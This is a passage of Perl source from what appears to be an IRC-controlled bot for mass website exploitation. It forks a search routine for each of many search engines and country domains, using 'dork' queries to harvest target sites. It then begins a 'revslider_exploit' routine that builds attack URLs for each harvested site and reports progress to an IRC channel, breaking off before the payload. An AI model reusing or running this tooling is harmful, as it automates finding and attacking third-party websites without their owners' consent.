  493. if ($engine =~ /googleIN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIN",$type,$nick); } exit; } }
  494. if ($engine =~ /googleKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeKR",$type,$nick); } exit; } }
  495. if ($engine =~ /googleRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeRO",$type,$nick); } exit; } }
  496. if ($engine =~ /googleTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTW",$type,$nick); } exit; } }
  497. if ($engine =~ /googleZA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeZA",$type,$nick); } exit; } }
  498. if ($engine =~ /uk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UK",$type,$nick); } exit; } }
  499. if ($engine =~ /br/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BR",$type,$nick); } exit; } }
  500. if ($engine =~ /ru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RU",$type,$nick); } exit; } }
  501. if ($engine =~ /net/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NET",$type,$nick); } exit; } }
  502. if ($engine =~ /it/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IT",$type,$nick); } exit; } }
  503. if ($engine =~ /com/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"COM",$type,$nick); } exit; } }
  504. if ($engine =~ /org/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ORG",$type,$nick); } exit; } }
  505. if ($engine =~ /de/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DE",$type,$nick); } exit; } }
  506. if ($engine =~ /fr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FR",$type,$nick); } exit; } }
  507. if ($engine =~ /cz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CZ",$type,$nick); } exit; } }
  508. if ($engine =~ /ir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IR",$type,$nick); } exit; } }
  509. if ($engine =~ /me/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ME",$type,$nick); } exit; } }
  510. if ($engine =~ /cl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CL",$type,$nick); } exit; } }
  511. if ($engine =~ /tw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TW",$type,$nick); } exit; } }
  512. if ($engine =~ /se/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SE",$type,$nick); } exit; } }
  513. if ($engine =~ /ca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CA",$type,$nick); } exit; } }
  514. if ($engine =~ /mx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MX",$type,$nick); } exit; } }
  515. if ($engine =~ /nl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NL",$type,$nick); } exit; } }
  516. if ($engine =~ /dk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DK",$type,$nick); } exit; } }
  517. if ($engine =~ /us/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"US",$type,$nick); } exit; } }
  518. if ($engine =~ /info/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"INFO",$type,$nick); } exit; } }
  519. if ($engine =~ /in/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IN",$type,$nick); } exit; } }
  520. if ($engine =~ /my/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MY",$type,$nick); } exit; } }
  521. if ($engine =~ /sk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SK",$type,$nick); } exit; } }
  522. if ($engine =~ /tr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TR",$type,$nick); } exit; } }
  523. if ($engine =~ /edu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EDU",$type,$nick); } exit; } }
  524. if ($engine =~ /no/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NO",$type,$nick); } exit; } }
  525. if ($engine =~ /th/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TH",$type,$nick); } exit; } }
  526. if ($engine =~ /id/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ID",$type,$nick); } exit; } }
  527. if ($engine =~ /pl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PL",$type,$nick); } exit; } }
  528. if ($engine =~ /ar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AR",$type,$nick); } exit; } }
  529. if ($engine =~ /es/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ES",$type,$nick); } exit; } }
  530. if ($engine =~ /ve/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VE",$type,$nick); } exit; } }
  531. if ($engine =~ /ro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RO",$type,$nick); } exit; } }
  532. if ($engine =~ /biz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BIZ",$type,$nick); } exit; } }
  533. if ($engine =~ /cn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CN",$type,$nick); } exit; } }
  534. if ($engine =~ /kr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KR",$type,$nick); } exit; } }
  535. if ($engine =~ /za/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ZA",$type,$nick); } exit; } }
  536. if ($engine =~ /vn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VN",$type,$nick); } exit; } }
  537. if ($engine =~ /si/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SI",$type,$nick); } exit; } }
  538. if ($engine =~ /eu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EU",$type,$nick); } exit; } }
  539. if ($engine =~ /be/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BE",$type,$nick); } exit; } }
  540. if ($engine =~ /hu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HU",$type,$nick); } exit; } }
  541. if ($engine =~ /lv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LV",$type,$nick); } exit; } }
  542. if ($engine =~ /ua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UA",$type,$nick); } exit; } }
  543. if ($engine =~ /ie/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IE",$type,$nick); } exit; } }
  544. if ($engine =~ /tv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TV",$type,$nick); } exit; } }
  545. if ($engine =~ /co/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CO",$type,$nick); } exit; } }
  546. if ($engine =~ /pro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PRO",$type,$nick); } exit; } }
  547. if ($engine =~ /name/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NAME",$type,$nick); } exit; } }
  548. if ($engine =~ /by/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BY",$type,$nick); } exit; } }
  549. if ($engine =~ /ph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PH",$type,$nick); } exit; } }
  550. if ($engine =~ /jp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JP",$type,$nick); } exit; } }
  551. if ($engine =~ /au/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AU",$type,$nick); } exit; } }
  552. if ($engine =~ /cat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CAT",$type,$nick); } exit; } }
  553. if ($engine =~ /hk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HK",$type,$nick); } exit; } }
  554. if ($engine =~ /at/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AT",$type,$nick); } exit; } }
  555. if ($engine =~ /su/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SU",$type,$nick); } exit; } }
  556. if ($engine =~ /mobi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MOBI",$type,$nick); } exit; } }
  557. if ($engine =~ /asia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ASIA",$type,$nick); } exit; } }
  558. if ($engine =~ /coop/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"COOP",$type,$nick); } exit; } }
  559. if ($engine =~ /mn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MN",$type,$nick); } exit; } }
  560. if ($engine =~ /ae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AE",$type,$nick); } exit; } }
  561. if ($engine =~ /bg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BG",$type,$nick); } exit; } }
  562. if ($engine =~ /nz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NZ",$type,$nick); } exit; } }
  563. if ($engine =~ /ee/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EE",$type,$nick); } exit; } }
  564. if ($engine =~ /gr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GR",$type,$nick); } exit; } }
  565. if ($engine =~ /pt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PT",$type,$nick); } exit; } }
  566. if ($engine =~ /tn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TN",$type,$nick); } exit; } }
  567. if ($engine =~ /ke/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KE",$type,$nick); } exit; } }
  568. if ($engine =~ /fi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FI",$type,$nick); } exit; } }
  569. if ($engine =~ /hr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HR",$type,$nick); } exit; } }
  570. if ($engine =~ /ch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CH",$type,$nick); } exit; } }
  571. if ($engine =~ /il/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IL",$type,$nick); } exit; } }
  572. if ($engine =~ /pe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PE",$type,$nick); } exit; } }
  573. if ($engine =~ /md/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MD",$type,$nick); } exit; } }
  574. if ($engine =~ /cc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CC",$type,$nick); } exit; } }
  575. if ($engine =~ /tel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TEL",$type,$nick); } exit; } }
  576. if ($engine =~ /im/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IM",$type,$nick); } exit; } }
  577. if ($engine =~ /kz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KZ",$type,$nick); } exit; } }
  578. if ($engine =~ /uy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UY",$type,$nick); } exit; } }
  579. if ($engine =~ /qa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"QA",$type,$nick); } exit; } }
  580. if ($engine =~ /mil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MIL",$type,$nick); } exit; } }
  581. if ($engine =~ /pk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PK",$type,$nick); } exit; } }
  582. if ($engine =~ /is/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IS",$type,$nick); } exit; } }
  583. if ($engine =~ /uz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UZ",$type,$nick); } exit; } }
  584. if ($engine =~ /ng/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NG",$type,$nick); } exit; } }
  585. if ($engine =~ /travel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TRAVEL",$type,$nick); } exit; } }
  586. if ($engine =~ /sa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SA",$type,$nick); } exit; } }
  587. if ($engine =~ /do/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DO",$type,$nick); } exit; } }
  588. if ($engine =~ /am/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AM",$type,$nick); } exit; } }
  589. if ($engine =~ /eg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EG",$type,$nick); } exit; } }
  590. if ($engine =~ /fm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FM",$type,$nick); } exit; } }
  591. if ($engine =~ /ge/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GE",$type,$nick); } exit; } }
  592. if ($engine =~ /ky/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KY",$type,$nick); } exit; } }
  593. if ($engine =~ /lu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LU",$type,$nick); } exit; } }
  594. if ($engine =~ /mk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MK",$type,$nick); } exit; } }
  595. if ($engine =~ /sg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SG",$type,$nick); } exit; } }
  596. if ($engine =~ /sy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SY",$type,$nick); } exit; } }
  597. if ($engine =~ /la/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LA",$type,$nick); } exit; } }
  598. if ($engine =~ /az/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AZ",$type,$nick); } exit; } }
  599. if ($engine =~ /bd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BD",$type,$nick); } exit; } }
  600. if ($engine =~ /cy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CY",$type,$nick); } exit; } }
  601. if ($engine =~ /sn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SN",$type,$nick); } exit; } }
  602. if ($engine =~ /museum/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MUSEUM",$type,$nick); } exit; } }
  603. if ($engine =~ /gov/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GOV",$type,$nick); } exit; } }
  604. if ($engine =~ /tk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TK",$type,$nick); } exit; } }
  605. if ($engine =~ /nu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NU",$type,$nick); } exit; } }
  606. if ($engine =~ /zm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ZM",$type,$nick); } exit; } }
  607. if ($engine =~ /ye/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YE",$type,$nick); } exit; } }
  608. if ($engine =~ /cu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CU",$type,$nick); } exit; } }
  609. if ($engine =~ /to/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TO",$type,$nick); } exit; } }
  610. if ($engine =~ /tz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TZ",$type,$nick); } exit; } }
  611. if ($engine =~ /rs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RS",$type,$nick); } exit; } }
  612. if ($engine =~ /pm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PM",$type,$nick); } exit; } }
  613. if ($engine =~ /lt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LT",$type,$nick); } exit; } }
  614. if ($engine =~ /mz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MZ",$type,$nick); } exit; } }
  615. if ($engine =~ /ma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MA",$type,$nick); } exit; } }
  616. if ($engine =~ /al/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AL",$type,$nick); } exit; } }
  617. if ($engine =~ /pa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PA",$type,$nick); } exit; } }
  618. if ($engine =~ /ec/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EC",$type,$nick); } exit; } }
  619. if ($engine =~ /kg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KG",$type,$nick); } exit; } }
  620. if ($engine =~ /uz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UZ",$type,$nick); } exit; } }
  621. if ($engine =~ /sv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SV",$type,$nick); } exit; } }
  622. if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLe",$type,$nick); } exit; } }
  623. if ($engine =~ /yahoo2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Yahoo2",$type,$nick); } exit; } }
  624. if ($engine =~ /kvasir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KvaSiR",$type,$nick); } exit; } }
  625. if ($engine =~ /quint/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Quint",$type,$nick); } exit; } }
  626. if ($engine =~ /pagina/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Pagina",$type,$nick); } exit; } }
  627. if ($engine =~ /clix/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Clix",$type,$nick); } exit; } }
  628. if ($engine =~ /ask2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ask2",$type,$nick); } exit; } }
  629. if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bing",$type,$nick); } exit; } }
  630. if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BigLobe",$type,$nick); } exit; } }
  631. if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WaLLa",$type,$nick); } exit; } }
  632. if ($engine =~ /yahoo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YaHoo",$type,$nick); } exit; } }
  633. if ($engine =~ /ask/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsK",$type,$nick); } exit; } }
  634. if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"OnEt",$type,$nick); } exit; } }
  635. if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CLusTy",$type,$nick); } exit; } }
  636. if ($engine =~ /sapo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SaPo",$type,$nick); } exit; } }
  637. if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AoL",$type,$nick); } exit; } }
  638. if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LyCos",$type,$nick); } exit; } }
  639. if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HotBot",$type,$nick); } exit; } }
  640. if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SeZNam",$type,$nick); } exit; } }
  641. if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UoL",$type,$nick); } exit; } }
  642. if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CLusTy",$type,$nick); } exit; } }
  643. if ($engine =~ /webcrawler/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"webcrawler",$type,$nick); } exit; } }
  644. if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"clusty",$type,$nick); } exit; } }
  645. if ($engine =~ /witch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"witch",$type,$nick); } exit; } }
  646. if ($engine =~ /amidalla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"amidalla",$type,$nick); } exit; } }
  647. if ($engine =~ /gibla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gibla",$type,$nick); } exit; } }
  648. if ($engine =~ /mywebsearch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mywebsearch",$type,$nick); } exit; } }
  649. if ($engine =~ /dogpile/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"dogpile",$type,$nick); } exit; } }
  650. if ($engine =~ /infocom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"infocom",$type,$nick); } exit; } }
  651. if ($engine =~ /searchcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"searchcom",$type,$nick); } exit; } }
  652. if ($engine =~ /teoma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"teoma",$type,$nick); } exit; } }
  653. if ($engine =~ /volunia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"volunia",$type,$nick); } exit; } }
  654. if ($engine =~ /izito/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"izito",$type,$nick); } exit; } }
  655. if ($engine =~ /onyet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"onyet",$type,$nick); } exit; } }
  656. if ($engine =~ /askom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"askom",$type,$nick); } exit; } }
  657. if ($engine =~ /becak/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"becak",$type,$nick); } exit; } }
  658. if ($engine =~ /bokep/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bokep",$type,$nick); } exit; } }
  659. }
  660.  
  661. ###### EXPLOITING #######
  662. sub revslider_exploit() {
  663. my $chan = $_[0];
  664. my $bug = $_[1];
  665. my $dork = $_[2];
  666. my $engine = $_[3];
  667. my $nick = $_[4];
  668. my $count = 0;
  669. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$revlogo);
  670. my $num = scalar(@totexploit);
  671. if ($num > 0){
  672. foreach my $site(@totexploit){
  673. $count++;
  674. if ($count == $num-1) { &msg("$channel","$revlogo 6$engine 15Done..."); }
  675. my $target = "http://".$site.$bug;
  676. my $cekftp = $target;
  677. $cekftp =~ s/http:\/\///;
  678. $cekftp =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  679. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
